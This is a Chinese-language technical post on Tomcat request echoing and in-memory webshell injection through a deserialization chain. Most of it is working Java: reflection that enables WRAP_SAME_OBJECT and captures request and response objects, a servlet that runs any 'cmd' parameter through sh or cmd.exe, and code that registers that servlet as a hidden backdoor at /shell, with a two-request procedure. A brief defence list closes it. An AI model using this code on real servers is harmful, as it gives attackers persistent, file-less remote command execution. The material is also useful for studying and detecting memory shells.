Tomcat回显学习第一弹
字数 943 2025-08-26 22:11:51
Tomcat回显技术研究与实践
前言
本文详细分析Tomcat中一种半通用回显方法,基于kingkk师傅的研究成果,重点探讨如何利用Tomcat内部机制实现请求回显,并通过反序列化漏洞注入内存马的技术细节。
技术原理
核心机制
在Tomcat的请求处理流程中,org.apache.catalina.core.ApplicationFilterChain类包含两个关键变量:
lastServicedRequest // ThreadLocal类型,存储请求对象
lastServicedResponse // ThreadLocal类型,存储响应对象
这些变量在多线程环境下为每个线程维护独立的请求/响应副本,确保线程安全。
关键触发点
请求处理过程中,ApplicationFilterChain#internalDoFilter方法逻辑如下:
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
默认情况下WRAP_SAME_OBJECT为false,需要通过反射修改才能启用请求/响应保存功能。
实现步骤
1. 反射修改关键属性
// 获取并修改关键字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
.getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class
.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class
.getDeclaredField("lastServicedResponse");
// 移除final修饰符
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD,
WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
// ... 对其他字段进行相同操作
// 启用WRAP_SAME_OBJECT并初始化ThreadLocal
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
2. 内存马注入实现
初始方案问题
使用TemplatesImpl链进行反序列化时,自定义Servlet类无法被加载,因为:
TemplatesImpl$TransletClassLoader.loadClass要求类必须实现AbstractTranslet- 普通Servlet类不符合这一要求
改进方案
创建同时继承AbstractTranslet和实现Servlet接口的类:
public class TomcatMemshell extends AbstractTranslet implements Servlet {
// 必须实现的AbstractTranslet方法
@Override public void transform(DOM document, SerializationHandler[] handlers) {}
@Override public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) {}
// Servlet接口实现
@Override public void service(ServletRequest req, ServletResponse res) {
// 命令执行逻辑
String cmd = req.getParameter("cmd");
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd}
: new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
// ... 其他Servlet方法实现
}
3. 完整注入流程
- 第一次请求:修改
WRAP_SAME_OBJECT并初始化ThreadLocal变量 - 第二次请求:执行内存马注入逻辑
else {
// 获取当前请求/响应
ThreadLocal<ServletRequest> threadLocalReq =
(ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
ThreadLocal<ServletResponse> threadLocalResp =
(ThreadLocal<ServletResponse>) lastServicedResponse.get(null);
ServletRequest servletRequest = threadLocalReq.get();
// 获取ServletContext并查找StandardContext
ServletContext servletContext = servletRequest.getServletContext();
StandardContext o = null;
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof StandardContext) {
o = (StandardContext) object;
} else if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
}
}
// 创建并注册Wrapper
Wrapper newWrapper = o.createWrapper();
newWrapper.setName("memshell");
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(new TomcatMemshell());
o.addChild(newWrapper);
o.addServletMappingDecoded("/shell", "memshell");
}
实践注意事项
- 两次请求要求:必须发送两次序列化数据,第一次修改配置,第二次执行注入
- 类加载限制:内存马类必须同时满足反序列化链和Servlet的要求
- 线程安全:确保在并发环境下正确获取当前线程的请求/响应对象
- 环境适配:根据目标系统类型(Linux/Windows)调整命令执行方式
防御建议
- 监控关键类的反射操作,特别是
WRAP_SAME_OBJECT和ThreadLocal字段的修改 - 限制反序列化操作,使用白名单控制可反序列化的类
- 定期检查Servlet映射,发现可疑的动态注册Servlet
- 更新Tomcat版本,关注官方安全公告